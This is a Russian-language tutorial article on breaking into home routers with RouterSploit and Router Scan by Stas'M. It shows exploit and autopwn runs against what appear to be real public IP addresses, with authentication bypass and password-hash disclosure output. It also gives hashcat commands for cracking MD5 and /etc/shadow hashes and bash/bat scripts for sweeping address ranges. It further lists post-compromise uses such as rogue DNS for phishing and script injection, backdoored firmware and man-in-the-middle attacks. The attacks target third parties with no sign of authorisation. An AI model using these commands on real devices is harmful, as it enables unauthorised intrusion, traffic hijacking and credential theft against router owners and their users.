Описание и порядок использования программы router scan

Проверка в RouterSploit на конкретную уязвимость

Производителя роутера и его модель можно узнать разными способами. Иногда достаточно посмотреть на страницу аутентификации:

Если мы знаем производителя роутера (D-Link) и его модель (DIR-300), и среди эксплойтов мы нашли нечто созвучное — dlink/dir_300_600_rce, то мы можем проверить, уязвим ли тестируемый роутер именно к этому эксплойту.

Выбираем его для использования:

use exploits/dlink/dir_300_600_rce

Смотрим информацию о нём:

show info

Как видим, наше устройство присутствует в списке уязвимых.

Установим цель (и порт, если это необходимо):

set target 83.17.188.82

Если мы не хотим эксплуатировать уязвимость, а хотим только проверить, подвержен ли роутер этой уязвимости, то проверка запускается так:

check

Как видим, цель уязвима.

Проверка на уязвимость по всем эксплойтам в RouterSploit

Зачаточная автоматизация в RouterSploit всё-таки присутствует. Можно, по крайней мере, проверить один роутер на подверженность сразу всеми эксплойтами. Для этого есть модуль autopwn. В качестве тестового роутера возьмём роутер на IP 83.17.188.82 и на порту 80.

Запустите RouterSploit. В зависимости от способа установки это делается так:

routersploit

или так:

./rsf.py

В запущенном RouterSploit вводим (используйте TAB для автоматического завершения):

use scanners/autopwn

Введём

show options

чтобы посмотреть опции:

В данном случае нам нужно установить IP:

set target 83.17.188.82

Порт устанавливать не нужно, поскольку он совпадает с портом по умолчанию. В противном случае для установки порта используется примерно такая команда:

set port 80

Для запуска модуля достаточно набрать

run

Строки

 exploits/dlink/dir_645_815_rce is vulnerable
 exploits/dlink/dir_300_600_rce is vulnerable
 Device is vulnerable!
 - exploits/dlink/dir_645_815_rce
 - exploits/dlink/dir_300_600_rce

говорят нам о том, что роутер уязвим к двум эксплойтам.

Чтобы отменить выбор модуля наберите

back

или сразу выберите другой модуль.

Использование смены DNS на роутере

Некоторые эксплойты не могут ничего, кроме как поменять настройки DNS. Естественно, имея пароль от учётной записи администратора, также можно поменять DNS. Даже без пароля администратора, но имея возможность выполнять команды на роутере, можно отредактировать конфигурационный файл для смены сервера имён.

Смена DNS на свой DNS прокси может дать следующее:

  1. Блокировка Интернет-подключения на роутере (делается просто, но, скорее всего, также быстро будет исправлена владельцем роутера)
  2. Сбор статистики о посещённых ресурсах и установленном ПО у клиентов роутера
  3. Выполнение фишинговых атак для кражи паролей (кроме DNS прокси требуется настройка веб-сервера)
  4. Внедрение кода на веб-страницы (например, для JQuery, встраиваемого в сайты посредством CDN, подменяется DNS сервера CDN, в результате код JQuery подгружается с сервера злоумышленника, который кроме самой библиотеки, добавил злонамеренный код, показывающий рекламу, ворующий пароли, следящий на нажатыми клавишами или выполняющий фишинговые и т.п. атаки)
  5. Фишинговые атаки с целью заражения бэкдором компьютеров пользователей роутера.

Некоторые приёмы работы с DNS прокси показаны в статье «Инструкция по использованию Router Scan by Stas’M. Часть вторая: Применение фальшивого DNS».

Взлом MD5 хеша пароля

Чтобы можно было использовать пароль в виде MD5 хеша, его нужно расшифровывать брутфорсом. Для начала попробуйте MD5 хеш просто загуглить, есть вероятность, что он сразу найдётся в одной из радужных таблиц.

Если с радужными таблицами не повезло, то брутфорсить лучше с использованием видеокарты и программы Hashcat. Шансы на удачу очень велики, поскольку MD5 очень быстро считается а, следовательно, и перебирается. Например, на моём стареньком ноутбуке (и процессор и видеокарта с индексом M, т.е. мобильные, т.е. с пониженным потреблением энергии и, следовательно, пониженной производительностью (процессор Intel(R) Core(TM) i7-3630QM CPU @ 2.40GHz и видеокарта Radeon HD 7870M)) перебор идёт со скоростью 1300 мегахешей в секунду, т.е. 1.300.000.000 хешей в секунду. На современных настольных компьютерах с хорошей видеокартой должно получаться минимум на один порядок больше (плюс ещё один ноль в конце). А на специально собранных для перебора хешей компьютерах с несколькими видеокартами, вполне возможно достижения скоростей больших чем у меня на два порядка. Т.е. у пароля средней длины (6-10 символов) в котором использовались большие и маленькие буквы, а также цифры, не остаётся шансов остаться не узнанным.

Пример запуска перебора хеша:

C:\Users\Alex\Downloads\hashcat-3.10\hashcat64.exe --opencl-device-types 1,2 -a 3 -1 ?l?d?u -m 0 -i --increment-min=1 --increment-max=8  8743b52063cd84097a65d1633f5c74f5 ?1?1?1?1?1?1?1?1?1

Здесь:

  • C:\Users\Alex\Downloads\hashcat-3.10\ — путь до папки, где расположена программа Hashcat
  • hashcat64.exe – файл программы – у меня 64-битная система
  • —opencl-device-types 1,2 – определённые фиксы для моей системы (подробности здесь)
  • -a 3 – выбор атаки по маске
  • -1 ?l?d?u – пользовательский набор символов, включает в себя большие и маленькие буквы, а также цифры
  • -m 0 – номер хеша (для каждого вида хеша нужно смотреть его персональный номер в справке. 0 соответствует MD5)
  • -i – включить приращение маски (увеличение количества символов)
  • —increment-min=1 – начать искать хеши с односимвольных кандидатов в пароли
  • —increment-max=8 – остановить приращение на 8 символах
  • 8743b52063cd84097a65d1633f5c74f5 – хеш, который нужно взломать
  • ?1?1?1?1?1?1?1?1?1 – маска (в данном случае 8 пользовательских символов, которые заданы выше).

Чтобы лучше разбираться в работе Hashcat, рекомендуется ознакомиться с её справкой и доступным материалом по этой программе.

Но иногда нужно включить голову, а не перебор на видеокарте. Давайте рассмотрим пример:

Имеется роутер 151.28.181.138. Это какая-то модель Belkin. Соответственно:

use scanners/belkin_scan
set target 151.28.181.138
run

Сразу две уязвимости. Одна заключается в обходе аутентификации, а вторая в раскрытии пароля. Хочу пароль!

rsf (Belkin Scanner) > use exploits/belkin/g_n150_password_disclosure
rsf (Belkin G & N150 Password Disclosure) > set target 151.28.181.138
 {'target': '151.28.181.138'}
rsf (Belkin G & N150 Password Disclosure) > run
 Running module...
 Exploit success

   Login     MD5 Password                         
   -----     ------------                         
   admin     8c9ba6053738777b4f88129c174fe2fc   

Нельзя сказать, что совсем нет результата. Как я уже сказал, MD5 хорошо поддаётся брутфорсу, поэтому я зарядил команду:

C:\Users\Alex\Downloads\hashcat-3.10\hashcat64.exe --opencl-device-types 1,2 -a 3 -1 ?l?d?u -m 0 -i --increment-min=1 --increment-max=8 8c9ba6053738777b4f88129c174fe2fc ?1?1?1?1?1?1?1?1?1

Но пока система привычно шумит вентиляторами, решил попробовать второй эксплойт:

rsf (Belkin G & N150 Password Disclosure) > use exploits/belkin/auth_bypass
rsf (Belkin Auth Bypass) > set target 151.28.181.138
 {'target': '151.28.181.138'}
rsf (Belkin Auth Bypass) > run
 Running module...
 Exploit success, you are now logged in!
rsf (Belkin Auth Bypass) >

Эксплойт оказался успешным и говорит, что я внутри. Судя по всему, нужно открыть браузер:

Я и правда внутри. Можно побродить по настройкам, но я случайно увидел мою любимую опцию «Save/Backup Settings».

Сохраняю файл с настройками себе.

Открываю его и ищу по ключевому слову «pass», там имеется несколько строк с таких вхождением, в том числе такие две строчки:

wan0_pppoe_passwd=razorjack
dsl3_pppoe_passwd=razorjack

И хотя понятно, что это не пароль от устройства, тем не менее, видно, что пользователь имеет склонность использовать одинаковые пароли. А что если…

echo -n razorjack | md5sum
8c9ba6053738777b4f88129c174fe2fc

Ну точно, 8c9ba6053738777b4f88129c174fe2fc – это хеш от razorjack.

Нажимаю в верхнем правом углу Logout, затем Login и вхожу как белый человек с паролем, а не через «чёрный вход».

Использование ping

Команду ping можно использовать для проверки отклика узлов, в частности, потенциальных шлюзов. Ниже предложен вариант bat-скрипта, проверяющего диапазон 10.0.0.0/8 на наличие шлюзов с последним октетом 1:

@echo off
rem Включить отложенное расширение переменной среды (для локальных переменных)
setlocal EnableDelayedExpansion
rem Пробегаемся пингом по диапазону 10.0.0.0/8, проверяем шлюзы 10.x.x.1
for /l %%a in (0,1,255) do (
for /l %%b in (0,1,255) do (
ping -n 1 -w 100 10.%%a.%%b.1 | find "TTL" >nul
if !errorlevel!==0 (echo 10.%%a.%%b.0/24)))

В данном скрипте запрос отправляется 1 раз для каждого узла, с таймаутом 100 мс. Если был получен отклик от узла, вывод команды ping обычно содержит подстроку TTL, которую мы как раз проверяем. В результате, в консоль будут выведены адреса сетей в формате10.x.x.0/24, шлюзы которых ответили на запрос.

В некоторых случаях есть смысл проверить также шлюзы с октетами 254 (если проверяем сети класса C). Далее приведён образец вывода команды на примере провайдера SpeedyLine:

C:\Users\user>pingin.bat
10.0.6.0/24
10.0.14.0/24
10.0.22.0/24
10.0.30.0/24
10.0.44.0/24
10.0.46.0/24
10.0.54.0/24
10.0.62.0/24
10.0.70.0/24
10.0.72.0/24
10.0.74.0/24
10.0.76.0/24
10.0.78.0/24
10.0.86.0/24
10.0.92.0/24
10.0.126.0/24
10.0.150.0/24
10.0.162.0/24
10.0.166.0/24
10.0.249.0/24
10.0.250.0/24
10.0.255.0/24
10.1.6.0/24
10.1.12.0/24
10.1.14.0/24
10.1.18.0/24
10.1.22.0/24
10.1.24.0/24
10.1.26.0/24
10.1.30.0/24
10.1.34.0/24
10.1.36.0/24
10.1.38.0/24
10.1.52.0/24
10.1.54.0/24
10.1.56.0/24
10.1.58.0/24
10.1.62.0/24
10.1.64.0/24
10.1.66.0/24
10.1.70.0/24
10.1.74.0/24
10.1.78.0/24
10.1.80.0/24
10.1.82.0/24
10.1.86.0/24
10.1.88.0/24
10.1.94.0/24
10.1.98.0/24
10.1.104.0/24
10.1.106.0/24
10.1.110.0/24
10.1.114.0/24
10.1.118.0/24
10.1.122.0/24
10.1.126.0/24
10.1.130.0/24
10.1.134.0/24
10.1.138.0/24
10.1.142.0/24
10.1.146.0/24
10.1.150.0/24
10.1.154.0/24
^C^CЗавершить выполнение пакетного файла [Y(да)/N(нет)]? Y

C:\Users\user>

Среднее время выполнения данного скрипта — от 5 до 10 минут, но в отдельных случаях может сильно отличаться. Выполнение скрипта было остановлено вручную, нажатием сочетания клавиш Ctrl+C.

По результатам можно заметить, что в большинстве случаев сети в списке появляются с интервалом в 8 октетов (по третьему октету), значит в действительности используются сети с маской /21.

Этот же самый скрипт под Linux:

#! /bin/bash

for i in `seq 0 1 255`
do
	echo 'Работаем с '10.$(($i))
		for m in `seq 0 1 255`
		do
			ping 10.$(($i)).$(($m)).1 -c 1 -W 1 > /dev/null
			if ; 
			then  
				echo 10.$(($i)).$(($m)).0/24
			fi
		done
done

Ускоренный вариант скрипта (ping заменена на fping)

#! /bin/bash

for i in `seq 0 1 255`
do
	echo 'Работаем с '10.$(($i))
	t=''
		for m in `seq 0 1 255`
		do
			t=$t" "10.$(($i)).$(($m)).1
		done
	fping -a $t
done

Взлом хешей из файла /etc/shadow

Чуть выше я добыл следующую строку из файла /etc/shadow роутера:

rootforroute:$1$VnG/6ABB$t6w9bQFxvI9tf0sFJf2TR.:0:0:99999:7:0:0:

Т.е. имя пользователя в системе rootforroute, а пароль сохранён в виде хеша.

Ещё несколько примеров из разных систем (в том числе настольных Linux):

mial:$6$q8C1F6tv$zTP/eEVixqyQBEfsSbTidUJfnaE2ojNIpTwTHava/UhFORv3V4ehyTOGdQEoFo1dEVG6UcXwhG.UHvyQyERz01:16964:0:99999:7:::

root:$6$DCSszlW5$HTYUvmUbb2QthFKs/RtTpMGaUF/DFc1MKRHkzrvybER2EORG3Mmnjojrh0aZ/BzbQv5UU51Ydf2.2P38yeDQU1:16964::::::

root:$6$cdL/Ap7b$UZjDNb6QKZEDgeScAzt0HO3p9WxEGdg6bOtVRyd.kwS/oUpMl23cBqkAtiQb/xI

mial:$6$bHrtO6qB$YlE/hUkde6k.fNQkIVFqph6mfRwZme8mWb/yOANj7fyon3q.b6A7pxuMleOEk3U

Обратите внимание на цифры 1 и 6 между знаками $. Также ещё там могут быть цифры 2 и 5

Они означают алгоритм хеша. Расшифровка следующая:

  • 1 = MD5
  • 2 = Blowfish
  • 5 = SHA-256
  • 6 = SHA-512

В Hashcat хеши имеют следующие номера:

    500 | md5crypt $1$, MD5(Unix)
   3200 | bcrypt $2*$, Blowfish(Unix)
   7400 | sha256crypt $5$, SHA256(Unix)
   1800 | sha512crypt $6$, SHA512(Unix)

В строках вида

rootforroute:$1$VnG/6ABB$t6w9bQFxvI9tf0sFJf2TR.:0:0:99999:7:0:0:

хеш для взлома (там ещё есть соль, но в данном случае это не важно) расположен между первым и вторым двоеточием, т.е. в приведённой строке хешем для взлома является

$1$VnG/6ABB$t6w9bQFxvI9tf0sFJf2TR.

В команде для Hashcat нужно указать соответствующий номер хеша (-m 500), получается следующая команда для конкретно данного примера:

C:\Users\Alex\Downloads\hashcat-3.10\hashcat64.exe --opencl-device-types 1,2 -a 3 -1 ?l?d?u -m 500 -i --increment-min=1 --increment-max=8  $1$VnG/6ABB$t6w9bQFxvI9tf0sFJf2TR. ?1?1?1?1?1?1?1?1?1

Ещё один пример строки из /etc/shadow:

mial:$6$q8C1F6tv$zTP/eEVixqyQBEfsSbTidUJfnaE2ojNIpTwTHava/UhFORv3V4ehyTOGdQEoFo1dEVG6UcXwhG.UHvyQyERz01:16964:0:99999:7:::

Хеш для взлома также расположен между первым и вторым двоеточием, это

$6$q8C1F6tv$zTP/eEVixqyQBEfsSbTidUJfnaE2ojNIpTwTHava/UhFORv3V4ehyTOGdQEoFo1dEVG6UcXwhG.UHvyQyERz01

Указываем соответствующий номер хеша (-m 1800):

C:\Users\Alex\Downloads\hashcat-3.10\hashcat64.exe --opencl-device-types 1,2 -a 3 -1 ?l?d?u -m 1800 -i --increment-min=1 --increment-max=8  $6$q8C1F6tv$zTP/eEVixqyQBEfsSbTidUJfnaE2ojNIpTwTHava/UhFORv3V4ehyTOGdQEoFo1dEVG6UcXwhG.UHvyQyERz01 ?1?1?1?1?1?1?1?1?1

Проверка заводских паролей и брутфорс учётных данных в RouterSploit

RouterSploit позволяет проверять заводские пароли и брутфорсить следующие службы:

  • ftp
  • ssh
  • telnet
  • http basic auth
  • http form auth
  • snmp

На роутерах обычно используется http аутентификация через форму или http basic аутентификация. Остальные службы ftp, ssh, telnet и snmp встречаются не особо часто. Чтобы определить, запущены ли они на роутере, нужно просканировать открытые порты:

sudo nmap IP_роутера

Стандартными портами служб ftp, ssh, telnet и snmp являются порты 21, 22, 23 и 161.

Соответствующие модули расположены в директории creds и вряд ли возникнут проблемы при использовании модулей для служб http basic auth, ftp, ssh, telnet и snmp. Даже файлы с паролями уже поставляются с программой и уже выбраны в качестве значений опций по умолчанию

Только обратите внимание, что каждый модуль имеется в двух вариантах: один проверяет заводские пароли, а второй осуществляет перебор по словарю.

Что касается http аутентификации с использованием формы, то здесь абсолютно те же сложности, что и при брут-форсе форм веб-сайтов. Это отдельная непростая наука, чтобы примерно понимать сложности и порядок действий, рекомендуется прочитать «Брут-форс веб-сайтов: инструкция по использованию patator, Hydra, Medusa».

Проблема с роутерами, поддерживающими два диапазона

Современные роутеры часто поддерживают работу на двух частотах: на 2.4 ГГц и 5 ГГц. Фактически, это две разные сети – у них могут быть разные имена, разные пароли, любая из них может быть отключена независимо от другой

Самое важное – у них разные MAC-адреса (т.е. BSSID).

Выполняя сканирование, если Router Scan by Stas’M находит роутер с двумя диапазонами, то он в парсит и сохраняет в базе данных информацию только о диапазоне 5 ГГц. Поскольку такие роутеры (в некоторых странах) стали популярными, но при этом сети на 5 ГГц до сих пор используются очень мало, то возникает проблема, что база данных 3WiFi заполняется о сетях, о которых мы не знаем, если сканируем только частоты диапазона 2.4 ГГц. Но дела ещё хуже, поскольку многие просто отключают второй диапазон за ненадобностью.

Посмотрите на скриншот:

Очень много сетей с именами вида true_home5G_* — это двухдиапазонные роутеры, которые удачно взломаны, но от которых сохранена информация только о сети на 5 ГГц. На скриншоте видно много отключённых Wi-Fi сетей. На практике это означает, что в пределах нашей досягаемости может быть роутер, который присутствует в базе 3WiFi, но о котором мы не узнаем, если не просканируем 5 ГГц. А если вторая сеть отключена, то вообще нет никакой возможности найти его в базе, поскольку у видимой сети на 2.4 ГГц другой BSSID и может оказаться другое имя. К примеру, в рассматриваемых роутерах с сетями true_home5G_* вторая сеть по умолчанию называется true_home2G_*

Без изменения структуры базы данных, а также повторного пересканирования эту проблему не решить. Чтобы снизить количество пропущенных роутеров обязательно сканируйте частоты 5 ГГц. Для этого подходят карты Panda Wireless PAU09 N600 и Alfa AWUS052NH (также они подходят для всего остального в Kali Linux).

В одном роутере у всех сетевых интерфейсов (проводных и беспроводных), хоть и разные MAC-адреса, но обычно они различаются только на один символ, либо на 2 или 3 последних символа. Учитывая это, есть идея дополнить поиском по усечённым на 3 символа BSSID, это, с одной стороны, позволит найти роутеры:

  • которые добавлены в базу данных 3WiFi по BSSID на 5 ГГц
  • у которых сеть 5 ГГц вообще отключена
  • но которые находятся рядом с нами и у них включена сеть на частотах 2.4 ГГц

К примеру, в базе данных есть роутер с BSSID 60:03:47:2D:C1:F0, а рядом с нами присутствует сеть 60:03:47:2D:C1:FB этого же роутера, но которая не попала в БД. Если мы выполним поиск по запросу 60:03:47:2D:C1:F*, то мы найдём нужный нам роутер. Правда, никаких гарантий, что пароли от сетей 2.4 ГГц и 5 ГГц совпадут. Зато мы узнаем IP роутера, учётные данные от админки (можем зайти и сами посмотреть всё, что нам нужно), а также WPS ПИН (если есть).

В общем, есть ещё способы усилить поиск.

Использование учётных данных, полученных в открытом виде

Варианты, которые дают возможность аутентифицироваться (пароль в открытом виде, аутентификация без пароля, изменение пароля) сводятся к тому, что мы получаем вход в административную панель роутера и полный контроль над его настройками.

Это даёт возможность атакующему:

перепрошить роутер прошивкой с закладками (сложный вариант, требует навыков распаковки/упаковки прошивок встроенных устройств, глубокое понимание работы ОС Linux; доступно не для всех роутеров, но в случае успеха даёт безграничные возможности управления роутером и слежения за трафиком);

оставить пользователей роутера без Интернет-подключения (простой вариант, достаточно изменить настройки на неверные);

если роутер поддерживает ту или иную реализацию VPN, то возможно подключить его к специально настроенному VPN злоумышленника, при этом становятся доступны все возможности атаки человек-посередине (пример концепта здесь);

узнать пароль от Wi-Fi, включить модуль Wi-Fi если он отключён (в случае особой важности, можно прибыть в место расположения роутера, для проведения атаки человек-посередине);

изменение настроек DNS на IP вашего (подложного) DNS (вариант средней сложности, более подробно про DNS прокси будет чуть ниже).

Всё сказанное справедливо для обхода аутентификации и уязвимостей, позволяющих изменить пароль.

Использование nslookup

Рассмотрим пример получения IP адресов для провайдера MTU-Intel, используя команду nslookup.

C:\Users\user>nslookup
Сервер по умолчанию:  google-public-dns-a.google.com
Address:  8.8.8.8

> www.mtu-net.ru
Сервер:  google-public-dns-a.google.com
Address:  8.8.8.8

Не заслуживающий доверия ответ:
Имя:     www.mtu-net.ru
Address:  62.118.255.3               <=  IP адрес основного сайта

> set q=MX
> mtu-net.ru
Сервер:  google-public-dns-a.google.com
Address:  8.8.8.8

Не заслуживающий доверия ответ:
mtu-net.ru      MX preference = 10, mail exchanger = mx.mtu-net.ru
> mx.mtu-net.ru
Сервер:  google-public-dns-a.google.com
Address:  8.8.8.8

mtu-net.ru
	  primary name server = dns0.mtu.ru
	  responsible mail addr = hostmaster.ns.mtu.ru
	  serial  = 200407085
	  refresh = 1800 (30 mins)
	  retry   = 1200 (20 mins)
	  expire  = 604800 (7 days)
	  default TTL = 86400 (1 day)
> set q=A
> mx.mtu-net.ru
Сервер:  google-public-dns-a.google.com
Address:  8.8.8.8

Не заслуживающий доверия ответ:
Имя:     mx.mtu-net.ru
Address:  195.34.32.99               <=  IP адрес почтового сервера

> dns0.mtu.ru
Сервер:  google-public-dns-a.google.com
Address:  8.8.8.8

Не заслуживающий доверия ответ:
Имя:     dns0.mtu.ru
Address:  195.34.32.83               <=  IP адрес одного из DNS

> exit

C:\Users\user>

Первый диапазон 62.118.254.0/23 принадлежит веб хостингу, и вероятно, его нет особого смысла сканировать. А вот второй диапазон 195.34.32.0/19 больше похож на провайдерский, возможно на нём удастся что-то найти.

В Linux использование команды идентично.

RouterSploit VS Router Scan by Stas’M

Программы RouterSploit и Router Scan by Stas’M предназначены для компрометации роутеров. Но они очень разные, чтобы в этом убедиться, достаточно взглянуть на их скриншоты. Это Router Scan by Stas’M:

А это RouterSploit (да, там нет графического интерфейса):

Кроме общей цели, у программ можно найти ещё несколько общих черт:

  • обе программы пытаются зайти на проверяемое устройство с заводскими учётными данными
  • проводят брутфорс по небольшим высокоэффективным словарям
  • используют эксплойты для роутеров.

Различий намного больше. Router Scan by Stas’M имеет несколько модулей сканирования, основной из которых имеет реализацию двух методов проверки, а остальные расширяют функциональность. Основной модуль сканирования достаточно быстро ищет цели. Проверка проходит полностью автоматически: перебор учётных данных, использования эксплойта, если он имеется для данной модели. Все результаты выводятся в интуитивно понятном и гибком в настройке графическом интерфейсе, а также могут быть сохранены в файлы разных форматов. В целом, и задумка, и реализация Router Scan by Stas’M выполнены на 5+, и программа уже давно приобрела свою заслуженную популярность.

В RouterSploit всё по-другому: без графического интерфейса, все цели задаются вручную, причём нельзя задать подсеть – каждый роутер нужно указывать индивидуально. Если уязвимость заключается в удалённом выполнении кода, то именно шелл для удалённого выполнения кода вы и получаете (не во всех эксплойтах автоматически раскручивается уязвимость до получения логина и пароля).

Даже количество эксплойтов и поддерживаемых роутеров у этих программ разное. В RouterSploit больше реализовано эксплойтов чем в последней публичной версии Router Scan by Stas’M. Также RouterSploit поддерживает брутфорс различных сетевых служб. Что качается поддержки роутеров для проверки/брутфорса учётных данных, то здесь список у Router Scan by Stas’M длиннее, хотя у RouterSploit есть универсальные модули, которые могут применяться для различных моделей. Хотя эти модули всё равно нужно настраивать вручную, и не каждый сумеет справиться со всеми параметрами HTTP формы.

Router Scan by Stas’M «из коробки» поддерживает использование прокси, а в RouterSploit таких опций нет.

Вывод следующий: это две довольно разные программы, и если не достигнут результат с помощью одной, то следует попробовать вторую.

Заключение

RouterSploit имеет хорошую коллекцию эксплойтов и достаточно удобную организацию работы с ними в отношении отдельных роутеров.

Реализация модуля HTTP аутентификации через форму (пожалуй, самый распространённый вариант входа в настройки роутера) можно считать сделанной для галочки. В том виде, как он сделан сейчас, практически никто не сможет им воспользоваться. А те, кто смогут всё правильно в нём настроить, скорее всего, воспользуются более привычным для них инструментом, тем же самым patator.

Модуль HTTP аутентификации через форму должен быть сделан персонально для каждой модели роутера, как это реализовано в Router Scan by Stas’M – иначе в нём нет смысла.

Для реализации подобного, необходимо предварительно создать модули для точного определения версий и соответствующую БД, что, судя по всему, даже не входит в планы.

Аналогично с эксплойтами для удалённого выполнения кода. Для большинства моделей ничто не мешало авторам добавить пару строк для считывания и вывода логина и пароля, вместо показа приглашения командной строки.

Конечно я помню, что RouterSploit бесплатен, с открытым исходным кодом. И если в подобных программах что-то не хватает, то нужно не жаловаться, а самому доделывать для себя и сообщества. Главное ощущение, которое осталось от этой программы – хочется всё переделать, сделать лучше, логичнее, законченнее и проще.

Оцените статью
Рейтинг автора
5
Материал подготовил
Андрей Измаилов
Наш эксперт
Написано статей
116
Добавить комментарий